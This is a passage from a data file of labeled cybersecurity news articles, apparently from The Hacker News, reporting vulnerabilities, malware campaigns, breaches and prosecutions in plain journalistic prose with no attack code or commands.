The flaw exists due to improper checking for a '.' character to signify the end of an email when parsing the BDAT data header.
""The receive_msg function in receive.c in the SMTP daemon in Exim 4.88 and 4.89 allows remote attackers to cause a denial of service (infinite loop and stack exhaustion) via vectors involving BDAT commands and an improper check for a '.' character signifying the end of the content, related to the bdat_getc function,"" the vulnerability description reads.
The researcher has also included a proof-of-concept (PoC) exploit for this vulnerability as well, making Exim server run out of stack and crash.

Both vulnerabilities reside in Exim version 4.88 and 4.89, and sysadmins are recommended to update their mail transfer agent application Exim version 4.90 released on GitHub.

",Vulnerability
New Flaws Re-Enable DMA Attacks On Wide Range of Modern Computers,https://thehackernews.com/2019/02/thunderbolt-peripheral-dma-attacks.html,"Security researchers have discovered a new class of security vulnerabilities that impacts all major operating systems, including Microsoft Windows, Apple macOS, Linux, and FreeBSD, allowing attackers to bypass protection mechanisms introduced to defend against DMA attacks.

Known for years, Direct memory access (DMA)-based attacks let an attacker compromise a targeted computer in a matter of seconds by plugging-in a malicious hot plug device—such as an external network card, mouse, keyboard, printer, storage, and graphics card—into Thunderbolt 3 port or the latest USB-C port.

The DMA-based attacks are possible because Thunderbolt port allows connected peripherals to bypass operating system security policies and directly read/write system memory that contains sensitive information including your passwords, banking logins, private files, and browser activity.

That means, simply plugging in an infected device, created using tools like Interception, can manipulate the contents of the memory and execute arbitrary code with much higher privileges than regular universal serial bus peripherals, allowing attackers to bypass the lock screen or control PCs remotely.

To block DMA-based attacks, most operating systems and devices leverage Input/Output Memory Management Unit (IOMMU) protection technique to control which peripheral device (usually legitimate) can access memory and which region of the memory.

ThunderClap Flaws Bypass IOMMU to Re-Enable DMA Attacks

Now, a team of cybersecurity researchers from the University of Cambridge, Rice University, and SRI International has unveiled a set of new vulnerabilities in various major operating systems that could allow attackers to bypass IOMMU protection.

By mimicking the functionality of a legitimate peripheral device, an attacker can trick targeted operating systems into granting it access to sensitive regions of memory.

In a paper [PDF] published earlier this week, researchers detailed technical information of all new vulnerabilities that they claimed to have discovered using a hardware/software stack, called Thunderclap, which they build and also released in the open-source.



""Our work leverages vulnerabilities in operating system IOMMU usage to compromise a target system via DMA, even in the presence of an IOMMU that is enabled and configured to defend against DMA attacks,"" the researchers said.

Besides this, the researchers also stressed that since IOMMU does not come enabled by default on most operating systems and since modern devices have USB-C, the attack surface of DMA attack has significantly increased which was earlier primarily limited to Apple devices with Thunderbolt 3 ports.


""The rise of hardware interconnects like Thunderbolt 3 over USB-C that combine power input, video output, and peripheral device DMA over the same port greatly increases the real-world applicability of Thunderclap vulnerabilities.""

""In particular, all Apple laptops and desktops produced since 2011 are vulnerable, with the exception of the 12-inch MacBook. Many laptops, and some desktops, designed to run Windows or Linux produced since 2016 are also affected - check whether your laptop supports Thunderbolt.""

How to Protect Against Thunderclap Vulnerabilities

Researchers have reported their findings to all major hardware and operating system vendors, and most of them have already shipped substantial mitigation to address the Thunderclap vulnerabilities.

""In macOS 10.12.4 and later, Apple addressed the specific network card vulnerability we used to achieve a root shell,"" researchers said. ""Recently, Intel has contributed patches to version 5.0 of the Linux kernel.""

""The FreeBSD Project indicated that malicious peripheral devices are not currently within their threat model for security response.""

Though not all software patches can entirely block DMA attacks, users are still advised to install available security updates to reduce the attack surface. According to the researchers, the best way to fully protect yourself is to disable the Thunderbolt ports on your machine, if applicable.
Additionally, researchers also developed a proof-of-concept attacking hardware that can execute the ThunderClap vulnerabilities on targeted systems, but they chose not to release it in public at this time.

",Vulnerability
Facebook Busts Palestinian Hackers' Operation Spreading Mobile Spyware,https://thehackernews.com/2021/04/facebook-busts-palestinian-hackers.html,"Facebook on Wednesday said it took steps to dismantle malicious activities perpetrated by two state-sponsored hacking groups operating out of Palestine that abused its platform to distribute malware.
The social media giant attributed the attacks to a network connected to the Preventive Security Service (PSS), the security apparatus of the State of Palestine, and another threat actor known as Arid Viper (aka Desert Falcon and APT-C-23), the latter of which is alleged to be connected to the cyber arm of Hamas.
The two digital espionage campaigns, active in 2019 and 2020, exploited a range of devices and platforms, such as Android, iOS, and Windows, with the PSS cluster primarily targeting domestic audiences in Palestine. The other set of attacks went after users in the Palestinian territories and Syria and, to a lesser extent Turkey, Iraq, Lebanon, and Libya.
Both the groups appear to have leveraged the platform as a springboard to launch a variety of social engineering attacks in an attempt to lure people into clicking on malicious links and installing malware on their devices. To disrupt the adversary operations, Facebook said it took down their accounts, blocked domains associated with their activity, and alerted users it suspects were singled out by these groups to help them secure their accounts.
Android Spyware in Benign-Looking Chat Apps
PSS is said to have used custom-built Android malware that was disguised as secure chat applications to stealthily capture device metadata, capture keystrokes, and upload the data to Firebase. In addition, the group deployed another Android malware called SpyNote that came with the ability to monitor calls and remotely access the compromised phones.
This group used fake and compromised accounts to create fictitious personas, often posing as young women, and also as supporters of Hamas, Fatah, various military groups, journalists, and activists with an aim to build relationships with the targets and guide them toward phishing pages and other malicious websites.
""This persistent threat actor focused on a wide range of targets, including journalists, people opposing the Fatah-led government, human rights activists and military groups including the Syrian opposition and Iraqi military,"" Facebook researchers leading the cyber espionage investigations said.
A Sophisticated Espionage Campaign
Arid Viper, on the other hand, was observed incorporating a new custom iOS surveillanceware dubbed ""Phenakite"" in their targeted campaigns, which Facebook noted was capable of stealing sensitive user data from iPhones without jailbreaking the devices prior to the compromise. Phenakite was delivered to users in the form of a fully functional but trojanized chat application named MagicSmile hosted on a third-party Chinese app development site that would surreptitiously run in the background and grab data stored on the phone without the user's knowledge.
The group also maintained a huge infrastructure comprising 179 domains that were used to host malware or acted as command-and-control (C2) servers.
""Lure content and known victims suggest the target demographic is individuals associated with pro-Fatah groups, Palestinian government organizations, military and security personnel, and student groups within Palestine,"" the researchers added.
Facebook suspects Arid Viper used the iOS malware only in a handful of cases, suggesting a highly-targeted operation, with the Hamas-linked hackers simultaneously focusing on an evolving set of Android-based spyware apps that claimed to facilitate dating, networking, and regional banking in the Middle East, with the adversary masking the malware as fake app updates for legitimate apps like WhatsApp.
Once installed, the malware urged victims to disable Google Play Protect and give the app device admin permissions, using the entrenched access to record calls, capture photos, audio, video, or screenshots, intercept messages, track device location, retrieve contacts, call logs, and calendar details, and even notification information from messaging apps such as WhatsApp, Instagram, Imo, Viber, and Skype.
In an attempt to add an extra layer of obfuscation, the malware was then found to contact a number of attacker-controlled sites, which in turn provided the implant with the C2 server for data exfiltration.
""Arid Viper recently expanded their offensive toolkit to include iOS malware that we believe is being deployed in targeted attacks against pro-Fatah groups and individuals,"" Facebook researchers said. ""As the technological sophistication of Arid Viper can be considered to be low to medium, this expansion in capability should signal to defenders that other low-tier adversaries may already possess, or can quickly develop, similar tooling.""

",Cyber_Attack
Beware! Cyber Criminals may spoil your Valentine's Day,https://thehackernews.com/2014/02/beware-cyber-criminals-may-spoil-your.html,"Valentine's Day - a day of hearts, Chocolates, Flowers and Celebrations when people express their emotions to their loved ones and most of us send E-cards, purchase special gifts with the help of various Online Shop Sites and many other tantrums making them feel special.

While you are busy in Googling ideal gifts for your loved ones, the Cyber thieves are also busy in taking advantage of such events by spreading various malware, phishing campaigns and fraud schemes as these days come out to be a goldmine for the cyber criminals.

Online Shopping Scams are popular among Cyber criminals as it is the easiest way for hackers to steal money in easy and untraceable ways.

Security Researchers at Anti virus firm - Trend Micro discovered various Valentine's Day threats which are common at such occasion i.e. A flower-delivery service and it appears to be a normal promotional e-mail, but the links actually lead to various survey scams.

The Malware threats also arrive during this season of love. The researchers recently found a new attack targeting Canadian users looking for a Romantic Dinner Giveaway. The email appears to be about a special Valentine Dinner, and has an attachment which is actually a malicious .RTF file (detected as TROJ_ARTIEF. VDY), using a known buffer overflow vulnerability (CVE-2012-0158) in Windows Common Controls, allows remote code execution to drop a backdoor (BKDR_INJECT.VDY) onto the affected system.
This Valentine's Day, with the popularity of Android phones and iPhones, it seems practical to impress your beloved by sending e-cards using various Valentine's Day Apps, but you never realize that despite sending E-cards, you are also inflicting an Android malware on your beloveds which could be worse to your relation.

The security researchers from Bitdefender recently released a report, noted how such Valentine's Day apps could demand undue permissions, that could violate users' privacy, rack up users' phone bills, and even possibly cause identity theft.

The researchers have detected various malware-inflicted apps, one of which is 'Valentine's Day 2014 Wallpaper.' The app records user's location and his browsing history in the process without having any justification for asking permissions.

Another is 'Valentine's Day Frames', the app that reads the user's contacts list, which is logically an odd request because the app is only intended to adorn user's romantic photographs with Valentine's Day themed photo frames. So what's the use of reading your contact list for this app?

One more, 'Love Letters for Chat, Status' which allows you to share love quotes, letters, and even poems to your dearest friends, but the app is capable to send emails, make phone calls, change audio settings, and even modify calendar events without your permission. So gifting this to your beloved may cause an end to you sweet relation.

Seasonal deals and offers are common place, so its users own duty to spot what's malicious and what's not. Following are some tips every Internet user must follow:
Do not to open emails and click links in wild from unknown sources.
Do not run attached files that come from unknown sources, especially these days.
The biggest bargains aren't always the biggest stealing. If an offer sounds too good to be true, it probably is, but if you are making purchases online, then prefer a reputed shopping site and type the address of the store in the browser, rather than going through any links that have been sent to you.
Has an effective security solution installed in your system that is capable of detecting both known and new malware strains.
Don't spread malware... Spread love :) Stay safe! Stay tuned to The Hacker News.

",Malware
Over 100 Million JustDial Users' Personal Data Found Exposed On the Internet,https://thehackernews.com/2019/04/justdial-hacked-data-breach.html,"An unprotected database belonging to JustDial, India's largest local search service, is leaking personally identifiable information of its every customer in real-time who accessed the service via its website, mobile app, or even by calling on its fancy ""88888 88888"" customer care number, The Hacker News has learned and independently verified.

Founded over two decades ago, JustDial (JD) is the oldest and leading local search engine in India that allows users to find relevant nearby providers and vendors of various products and services quickly while helping businesses listed in JD to market their offerings.

Rajshekhar Rajaharia, an independent security researcher, yesterday contacted The Hacker News and shared details of how an unprotected, publicly accessible API endpoint of JustDial's database can be accessed by anyone to view profile information of over 100 million users associated with their mobile numbers.

The leaked data includes JustDial users' name, email, mobile number, address, gender, date of birth, photo, occupation, company name they are working with—basically whatever profile related information a customer ever provided to the company.

Though the unprotected APIs exist since at least mid-2015, it's not clear if anyone has misused it to gather personal information on JustDial users.

Justdial is Leaking Personal Details Of All Customers

After verifying the leaky endpoint, The Hacker News also wanted to verify if the API is fetching results directly from the production server or from a backup database that might not have information belonging to recently signed-up users.
To find this, I provided Rajshekhar a new phone number that was never before registered with Justdial server, which he confirmed was not listed in the database at that time.

Instead of installing and using the JD app or its website, I then simply called the customer care number and shared a random name and personal details with the executive to learn a few good restaurants in my city.

Immediately after completing the call, Rajshekhar sent me the profile details I shared with the JD executive associated with the same phone number that was previously not found in the database, indicating that the unprotected API is fething real-time information of users.

Although the unprotected API is connected to the primary JD database, Rajshekhar revealed that it's an old API endpoint which is not currently being used by the company but left forgotten on the server.

Rajshekhar told The Hacker News that he discovered this unprotected end-point while pentesting the latest APIs in use, which are apparently protected and using authentication measures.

Besides this, Rajshekhar also found a few other old unprotected APIs, one of which could allow anyone to trigger OPT request for any registered phone number, which might not be a serious security issue, but could be used for spamming users and costing the company.

Rajshekhar also claimed that he tried to contact the company to responsibly disclose his findings, but unfortunately failed to find any direct way to contact the company and report the incident.

The Hacker News has also dropped an email to a few email addresses, linked to the company, we found on the Internet, providing the details of the incident. We will update this report when we hear back. Stay Tuned.

",Data_Breaches
Iframe Injection Vulnerability on FileHippo - Popular software download site,https://thehackernews.com/2011/07/iframe-injection-vulnerability-on.html,"Iframe Injection Vulnerability on FileHippo - Popular software download site
One of the most Popular Freeware Software download website ""FileHippo"" is Vulnerable to Iframe Injection. This Vulnerability is Found and submitted by n3t phir3. Here is the Vulnerable Link and Screenshot as shown above.

",Vulnerability
iPhone Instagram users vulnerable to hackers,https://thehackernews.com/2012/12/iphone-instagram-users-vulnerable-to.html,"Instagram - Facebook's popular photo sharing app for iOS, is currently has a vulnerability that could make your account susceptible to hackers. A security researcher Carlos Reventlov published on Friday another attack on Facebook's Instagram photo-sharing service that could allow a hacker to seize control of a victim's account.

""The Instagram app communicates with the Instagram API via HTTP and HTTPs connections. Highly sensitive activities, such as login and editing profile data, are sent through a secure channel. However, some other request are sent through plain HTTP without a signature, those request could be exploited by an attacker connected to the same LAN of the victim's iPhone.""
Vulnerability Details -- The vulnerability is in the 3.1.2 version of Instagram's application, which is susceptible to ""eavesdropping and man in the middle attacks that could lead an evil user to delete photos and download private media without the victim's consent.

An attacker on the same LAN of the victim could launch a simple arpspoofing attack to trick the iPhones into passing port 80 traffic through the attackers machine. When the victim starts the Instagram app a plain text cookie is sent to the Instagram server, once the attacker gets the cookie he is able to craft special HTTP requests for getting data and deleting photos.

The Secunia verified the attack and issued an advisory Here. The compromise uses a method called ARP (Address Resolution Protocol) spoofing, where the web traffic of the victim's mobile device is channeled through the attacker's computer. Reventlov wrote that it is then possible to intercept the plain-text cookie.

""I've found that many iPhone apps are vulnerable to such things but not too many are high-profile apps like Instagram,"" Reventlov added. He says that the fix for Instagram is rather easy. For API calls that utilize sensitive information, simply use HTTPS, or Hypertext Transfer Protocol Secure. Find Proof of concept on Reventlov blog.

",Vulnerability
"Huawei and Cyber Espionage, a question of trust ?",https://thehackernews.com/2012/08/huawei-and-cyber-espionage-question-of.html,"Chinese telecoms equipment suppliers have previously been criticized for allegedly being security risks. Huawei is working with British spooks to prove that it has no backdoors in its products which would allow Chinese agents to snuffle Her Majesty's secrets.

The U.S. and Australia have made clear their distrust of one of the world's biggest telecoms company. The Australian government, for instance, banned the company from participating in bids for its national broadband network due to potential spying threats. Huawei, which has grown to become one of today's dominant telecommunications equipment companies, is likewise constantly under threat because of what some might call China-bashing.

Over the past ten years or so, Chinese telecoms firms such as Huawei and ZTE, another telecoms-equipment provider, have expanded from their vast home market to become global players. Huawei is becoming an increasingly powerful global player, capable of going head-to-head with the best in intensely competitive markets.

Several big Chinese firms, including ZTE and China Mobile, a giant mobile operator, have attracted scrutiny. But thanks to its size and its international reach it is Huawei that gets most attention.

But according to the Economist, the centre is being used to persuade Q that equipment from the manufacturer that runs it can be trusted. GCHQ has a handy base near by. Apparenly anyone who is anyone is riding a cock horse to Banbury cross to see a Chinese company with a Western gloss.What is interesting is that Huawei staff have UK security clearances and some of them used to work for GCHQ, so the relationship in Blighty is very close.

Even Huawei suggests a proactive approach to security. ""Believe no one and check everything,"" says John Suffolk, former CIO of the British government and now Huawei's global cyber-security officer.

However, experts say that security flaws are difficult to find, and can sometimes be subtly embedded in the code, and possibly included by accident. As such, doubts remain.

",Malware
Windows 8 will be challenge for Malware writers,https://thehackernews.com/2012/06/windows-8-will-be-challenge-for-malware.html,"Windows 8 will be challenge for Malware writers
Microsoft™s security researcher believe that upcoming operating system, Windows 8 is a step forward in security and Windows 8 will be far better at protecting against malware than it's predecessors.

Chris Valasek, a senior security research scientist at development testing firm Coverity, began examining the security features of Windows 8 last autumn, before the consumer previews of the upcoming revamp of the new Microsoft OS came out.

""There are always going to be vulnerabilities but you can make it difficult to leverage vulnerabilities to write exploits."" One major change between Windows 7 and 8 is the addition of more exploit-mitigation technologies, however. Windows Memory Managers (specifically the Windows Heap Manager and Windows Kernel Pool Allocator) are designed to make it far harder for attackers to exploit buffer-overflow vulnerabilities and the like to push malware onto vulnerable systems.

The ""security sandbox"" for applications for Windows 8 will also be a great step forward. ""These new Windows 8 Apps will be contained by a much more restrictive security sandbox, which is a mechanism to prevent programs from performing certain actions,"" Valasek explains.

""This new App Container provides the operating system with a way to make more fine-grained decisions on what actions certain applications can perform, instead of relying on the more broad 'Integrity Levels' that debuted in Windows Vista/7.

Windows 8 also comes with a new version of Internet Explorer, Microsoft's browser software. Internet Explorer 10 will come with a mode that disables support for third-party plug-ins such as Flash and Java.

",Vulnerability
Unpatched Zero-Days in Microsoft Edge and IE Browsers Disclosed Publicly,https://thehackernews.com/2019/03/microsoft-edge-ie-zero-days.html,"Exclusive — A security researcher today publicly disclosed details and proof-of-concept exploits for two 'unpatched' zero-day vulnerabilities in Microsoft's web browsers after the company allegedly failed to respond to his responsible private disclosure.

Both unpatched vulnerabilities—one of which affects the latest version of Microsoft Internet Explorer and another affects the latest Edge Browser—allow a remote attacker to bypass same-origin policy on victim's web browser.

Same Origin Policy (SOP) is a security feature implemented in modern browsers that restricts a web-page or a script loaded from one origin to interact with a resource from another origin, preventing unrelated sites from interfering with each other.

In other words, if you visit a website on your web browser, it can only request data from the same origin [domain] the site was loaded from, preventing it from making any unauthorized request on your behalf in order to steal your data, from other sites.

However, the vulnerabilities discovered by 20-year-old security researcher James Lee, who shared the details with The Hacker News, could allow a malicious website to perform universal cross-site scripting (UXSS) attacks against any domain visited using the vulnerable Microsoft's web browsers.

To successfully exploit these vulnerabilities, all attackers need to do is convince a victim into opening the malicious website [created by hacker], eventually allowing them to steal victim's sensitive data, like login session and cookies, from other sites visited on the same browser.

""The issue is within Resource Timing Entries in Microsoft Browsers which inappropriately leak Cross-Origin URLs after redirection,"" Lee told The Hacker News in an email.

The researcher contacted Microsoft and responsibly shared his finding with the company ten months ago, that's almost a year, but the tech giant ignored the issues and did not respond to the disclosure till the date, leaving both the flaws unpatched.

Lee has now released proof-of-concept (PoCs) exploits for both issues.

The Hacker News has independently tested and confirmed both the zero-day vulnerabilities against the latest version of Internet Explorer and Edge running on a fully-patched Windows 10 operating system.

The newly-disclosed vulnerabilities are similar to the ones Microsoft patched last year in its Internet Explorer (CVE-2018-8351) and Edge browsers (CVE-2018-8545).

Since the details and PoC for both the zero-days have already been made publicly available, hackers won't take much time to exploit the flaws in an attempt to target Microsoft users.

What's disappointing is that there is currently not much that users can do to avoid this problem until Microsoft patches the security issues. You can use other web browsers that are not affected by this vulnerability, such as Chrome or Firefox.

",Vulnerability
Inside Story : How RSA was got hacked !,https://thehackernews.com/2011/04/inside-story-how-rsa-was-got-hacked.html,"Inside Story : How RSA was got hacked !
The hack last month at RSA Security has been shrouded in mystery.

How did a hacker manage to infiltrate one of the world's top computer-security companies? And could the data that was stolen be used to impair its SecurID products, which are used by 40 million businesses that are trying to keep their own networks safe from intruders?

The division of the EMC Corporation is staying mum about what exactly was stolen from its computer systems, aside from that is was data related to SecurID.

But on Friday RSA shed some light on the nature of the attack. In a blog post titled ""Anatomy of an Attack,"" the company's head of new technologies, Uri Rivner, described a three-stage operation that was similar to several other recent prominent attacks on technology companies, including a 2009 attack on Google that it said originated in China.

In the attack on RSA, the attacker sent ""phishing"" e-mails with the subject line ""2011 Recruitment Plan"" to two small groups of employees over the course of two days. Unfortunately, one was interested enough to retrieve one of these messages from his or her junk mail and open the attached Excel file. The spreadsheet contained malware that used a previously unknown, or ""zero-day,"" flaw in Adobe's Flash software to install a backdoor. RSA said that Adobe had since released a patch to fix that hole.

After installing a stealthy tool that allowed the hacker to control the machine from afar, he stole several account passwords belonging to the employee and used them to gain entry into other systems, where he could gain access to other employees with access to sensitive data, Mr. Rivner said.

Then came stage three: spiriting RSA files out of the company to a hacked machine at a hosting provider, and then on to the hacker himself.

The attacker left few traces. But an unclassified document from the United States Computer Emergency Readiness Team (US-CERT) obtained by the blogger Brian Krebs revealed three Web addresses used in the intrusion, one of which includes the letters ""PRC,"" which could refer to the People's Republic of China — or it could be a ruse.

According to Mr. Rivner, it's difficult for companies with the world's most sophisticated defenses to stop this newfangled ""advanced persistent threats,"" which are made potent by the combination of low-tech ""social-engineering"" cons and a high-tech zero-day attack that antivirus software won't recognize.

That RSA detected the attack in progress was a victory, he argued. Many other companies hit by similar attacks ""either detected the attacks after months, or didn't detect them at all and learned about it from the government,"" he said. ""As an industry, we have to act fast and develop a new defense doctrine; the happy days of good old hacking are gone, and gone too are the old defense paradigms.""

But some security experts ridiculed the notion that the attack was sophisticated. Jeremiah Grossman, founder of WhiteHat Security, posted on Twitter: ""I can't tell if this RSA APT blog post is actually being serious or an April 1st gag. The content is absurd either way.""


News Source : https://bits.blogs.nytimes.com

",Malware
Security flaw in 3G could allow anyone to track your smartphone,https://thehackernews.com/2012/10/security-flaw-in-3g-could-allow-anyone.html,"New privacy threats have been uncovered by security researchers that could allow every device operating on 3G networks to be tracked, according to research from the University of Birmingham with collaboration from the Technical University of Berlin.

Researchers said that standard off-the-shelf equipment, such as femtocells, could be used to exploit the flaw, allowing the physical location of devices to be revealed.

The 3G standard was designed to protect a user's identity when on a given network. A device's permanent identity, known as International Mobile Subscriber Identity (IMSI) is protected on a network by being assigned a temporary identity called a Temporary Mobile Subscriber Identity TMSI.

The TMSI is updated regularly while the 3G networks are supposed to make it impossible for someone to track a device even if they are eavesdropping on the radio link.

Researchers have discovered that these methods can easily be sidestepped by spoofing an IMSI paging request. Such a request is used by networks to locate a device so it can provide service.

Another vulnerability, the researchers said, lay in the Authentication and Key Agreement (AKA) protocol, which is used to provide authentication between a device and a network by providing secure shared session keys.

This ""secret long-term key"" (K IMSI) can be identified by sniffing the AKA request and then relaying that to all devices within a certain area. Every device except the target would return an authentication failure, thereby identifying the individual. Again, this could then be used to track location.

The research team took pains to emulate a real-world scenario under the environment, and they tested the attacks techniques against network providers including T-Mobile, Vodafone and O2 in Germany, and French outfit SFR.

Another interesting update from Lookout , New Lookout App Finds Your Phone Even When Battery Is Dead

",Vulnerability
Faulty Patch for Oracle WebLogic Flaw Opens Updated Servers to Hackers Again,https://thehackernews.com/2018/04/oracle-weblogic-rce-exploit.html,"Earlier this month, Oracle patched a highly critical Java deserialization remote code execution vulnerability in its WebLogic Server component of Fusion Middleware that could allow attackers to easily gain complete control of a vulnerable server.

However, a security researcher, who operates through the Twitter handle @pyn3rd and claims to be part of the Alibaba security team, has now found a way using which attackers can bypass the security patch and exploit the WebLogic vulnerability once again.

WebLogic Server acts as a middle layer between the front end user interface and the backend database of a multi-tier enterprise application. It provides a complete set of services for all components and handles details of the application behavior automatically.

Initially discovered in November last year by Liao Xinxi of NSFOCUS security team, the Oracle WebLogic Server flaw (CVE-2018-2628) can be exploited with network access over TCP port 7001.
If exploited successfully, the flaw could allow a remote attacker to completely take over a vulnerable Oracle WebLogic Server. The vulnerability affects versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3.

Since a proof-of-concept (PoC) exploit for the original Oracle WebLogic Server vulnerability has already been made public on Github and someone has just bypassed the patch as well, your up-to-date services are again at risk of being hacked.

Although @pyn3rd has only released a short GIF (video) as a proof-of-concept (PoC) instead of releasing full bypass code or any technical details, it would hardly take a few hours or days for skilled hackers to figure out a way to achieve same.

Currently, it is unclear when Oracle would release a new security update to address this issue that has re-opened CVE-2018-2628 flaw.

In order to be at least one-step safer, it is still advisable to install April patch update released by Oracle, if you haven't yet because attackers have already started scanning the Internet for vulnerable WebLogic servers.

",Vulnerability
BIOS PrivEsc Bugs Affect Hundreds of Millions of Dell PCs Worldwide,https://thehackernews.com/2021/05/bios-privesc-bug-affects-hundreds-of.html,"PC maker Dell has issued an update to fix multiple critical privilege escalation vulnerabilities that went undetected since 2009, potentially allowing attackers to gain kernel-mode privileges and cause a denial-of-service condition.
The issues, reported to Dell by researchers from SentinelOne on Dec. 1, 2020, reside in a firmware update driver named ""dbutil_2_3.sys"" that comes pre-installed on its devices. Hundreds of millions of desktops, laptops, notebooks, and tablets manufactured by the company are said to be vulnerable.
""Dell dbutil_2_3.sys driver contains an insufficient access control vulnerability which may lead to escalation of privileges, denial-of-service, or information disclosure. Local authenticated user access is required,"" Dell said in an advisory.
All five separate flaws have been assigned the CVE identifier CVE-2021-21551 with a CVSS score of 8.8. A breakdown of the shortcomings is as follows -
CVE-2021-21551: Local Elevation Of Privileges #1 – Memory corruption
CVE-2021-21551: Local Elevation Of Privileges #2 – Memory corruption
CVE-2021-21551: Local Elevation Of Privileges #3 – Lack of input validation
CVE-2021-21551: Local Elevation Of Privileges #4 – Lack of input validation
CVE-2021-21551: Denial Of Service – Code logic issue
""The high severity flaws could allow any user on the computer, even without privileges, to escalate their privileges and run code in kernel mode,"" SentinelOne Senior Security Researcher Kasif Dekel noted in a Tuesday analysis. ""Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.""
Since these are local privilege escalation bugs, they are unlikely to be exploited remotely over the internet. To carry out an attack, an adversary will need to have gained access to a non-administrator account on a vulnerable system, following which the driver vulnerability can be abused to gain local elevation of privilege. Armed with this access, the attacker can then leverage other techniques to execute arbitrary code and laterally move across an organization's network.
Although no evidence of in-the-wild abuse has been detected, SentinelOne said it plans to release the proof-of-concept (PoC) code on June 1, 2021, giving Dell customers ample time to remediate the vulnerability.
SentinelOne's disclosure is the third time the same issue has been reported to Dell over the last two years, according to Crowdtrike's Chief Architect Alex Ionescu, first by the Sunnyvale-based cybersecurity firm in 2019 and again by IOActive. Dell also credited Scott Noone of OSR Open Systems Resources with reporting the vulnerability.

",Malware
Tesla Ransomware Hacker Pleads Guilty; Swiss Hacktivist Charged for Fraud,https://thehackernews.com/2021/03/tesla-ransomware-hacker-pledges-guilty.html,"The U.S. Department of Justice yesterday announced updates on two separate cases involving cyberattacks—a Swiss hacktivist and a Russian hacker who planned to plant malware in the Tesla company.
A Swiss hacker who was involved in the intrusion of cloud-based surveillance firm Verkada and exposed camera footage from its customers was charged by the U.S. Department of Justice (DoJ) on Thursday with conspiracy, wire fraud, and identity theft.
Till Kottmann (aka ""deletescape"" and ""tillie crimew""), 21, of Lucerne, Switzerland, and their co-conspirators were accused of hacking dozens of companies and government agencies since 2019 by targeting their ""git"" and other source code repositories and posting the proprietary data of more than 100 entities on a website called git[.]rip, according to the indictment.
Kottmann is alleged to have cloned the source code and other confidential files containing hard-coded administrative credentials and access keys, using them to infiltrate the internal infrastructure of victims further and copy additional records and intellectual property. Additionally, the prosecutors said the U.S. Federal Bureau of Investigation (FBI) seized the domain that was used to publish hacked data online.
The defendant's long list of victims includes Nissan, Intel, Mercedes-Benz, and many others, including the Verkada breach that happened earlier this month, thereby gaining access to more than 150,000 of the company's cameras installed in various locations ranging from Tesla warehouses to gyms, psychiatric hospitals, and health clinics.
Kottmann, who calls the hacktivist collective ""Advanced Persistent Threat 69420,"" told Bloomberg the breach ""exposes just how broadly we're being surveilled, and how little care is put into at least securing the platforms used to do so, pursuing nothing but profit,"" while attempting to justify their actions as part of a ""fight for freedom of information and against intellectual property.""
Then last Friday, Swiss authorities raided Kottmann's apartment and seized the hacker's electronic devices at the behest of U.S. authorities.
""Stealing credentials and data, and publishing source code and proprietary and sensitive information on the web is not protected speech — it is theft and fraud,"" said Acting U.S. Attorney Tessa M. Gorman. ""These actions can increase vulnerabilities for everyone from large corporations to individual consumers. Wrapping oneself in an allegedly altruistic motive does not remove the criminal stench from such intrusion, theft, and fraud.""
It's not immediately clear if U.S. prosecutors intend to extradite Kottmann, who still remains at large in Lucerne.
Russian National Pleads Guilty for Tesla Hacking Plot
In other related news, a Russian national pleaded guilty to offering a Tesla employee $1 million to plant ransomware at the electric carmaker's Gigafactory plant in Nevada.
According to court documents, the suspect, Egor Igorevich Kriuchkov, 27, traveled to the U.S. in July on a tourist visa and made contact with a Russian-speaking employee in an attempt to install malware into the company's computer network with the goal of exfiltrating data and holding it for ransom.
But the extortion scheme fell apart after the employee in question alerted the company of the incident, which then involved the FBI into the matter.
""This was a serious attack,"" CEO Elon Musk said in an August 2020 tweet.
Kriuchkov, who previously denied any wrongdoing in September before a federal magistrate judge, on Thursday pleaded guilty to one count of conspiracy to cause damage to a protected computer intentionally. Kriuchkov is scheduled to be sentenced on May 10.
""This case highlights our office's commitment to protecting trade secrets and other confidential information belonging to U.S. businesses — which is becoming even more important each day as Nevada evolves into a center for technological innovation,"" said Acting U.S. Attorney Christopher Chiou for the District of Nevada. ""Along with our law enforcement partners, we will continue to prioritize stopping cybercriminals from harming American companies and consumers.""

",Malware
"QSnatch Data-Stealing Malware Infected Over 62,000 QNAP NAS Devices",https://thehackernews.com/2020/07/qnap-nas-malware-attack.html,"Cybersecurity agencies in the US and UK yesterday issued a joint advisory about a massive ongoing malware threat infecting Taiwanese company QNAP's network-attached storage (NAS) appliances.

Called QSnatch (or Derek), the data-stealing malware is said to have compromised 62,000 devices since reports emerged last October, with a high degree of infection in Western Europe and North America.

""All QNAP NAS devices are potentially vulnerable to QSnatch malware if not updated with the latest security fixes,"" the US Cybersecurity and Infrastructure Security Agency (CISA) and the UK's National Cyber Security Centre (NCSC) said in the alert.

""Further, once a device has been infected, attackers can prevent administrators from successfully running firmware updates.""

The mode of compromise, i.e., the infection vector, still remains unclear, but CISA and NCSC said the first campaign likely began in 2014 and continued till mid-2017 before intensifying over the last few months to infect about 7,600 devices in the US and approximately 3,900 devices in the UK.

Over 7,000 NAS devices were targeted with the malware in Germany alone, according to the German Computer Emergency Response Team (CERT-Bund) as of October 2019.

Although the infrastructure used by the bad actors in both campaigns is not currently active, the second wave of attacks involves injecting the malware during the infection stage and subsequently using a domain generation algorithm (DGA) to set up a command-and-control (C2) channel for remote communication with the infected hosts and exfiltrate sensitive data.


""The two campaigns are distinguished by the initial payload used as well as some differences in capabilities,"" the agencies said.

The latest version of QSnatch comes with a broad range of features, including a CGI password logger that uses a fake admin login screen to capture passwords, a credential scraper, an SSH backdoor capable of executing arbitrary code, and a web shell functionality to access the device remotely.

In addition, the malware gains persistence by preventing updates from getting installed on the infected QNAP device, which is done by ""redirecting core domain names used by the NAS to local out-of-date versions so updates can never be installed.""

The two agencies have urged organizations to ensure their devices have not been previously compromised, and if so, run a full factory reset on the device before performing the firmware upgrade. It's also recommended to follow QNAP's security advisory to prevent the infection by following the steps listed here.

""Verify that you purchased QNAP devices from reputable sources,"" CISA and NCSC suggested as part of additional mitigation against QSnatch. ""Block external connections when the device is intended to be used strictly for internal storage.""

",Cyber_Attack
3 Steps to Strengthen Your Ransomware Defenses,https://thehackernews.com/2021/07/3-steps-to-strengthen-your-ransomware.html,"The recent tsunami of ransomware has brought to life the fears of downtime and data loss cybersecurity pros have warned about, as attacks on the energy sector, food supply chain, healthcare industry, and other critical infrastructure have grabbed headlines.
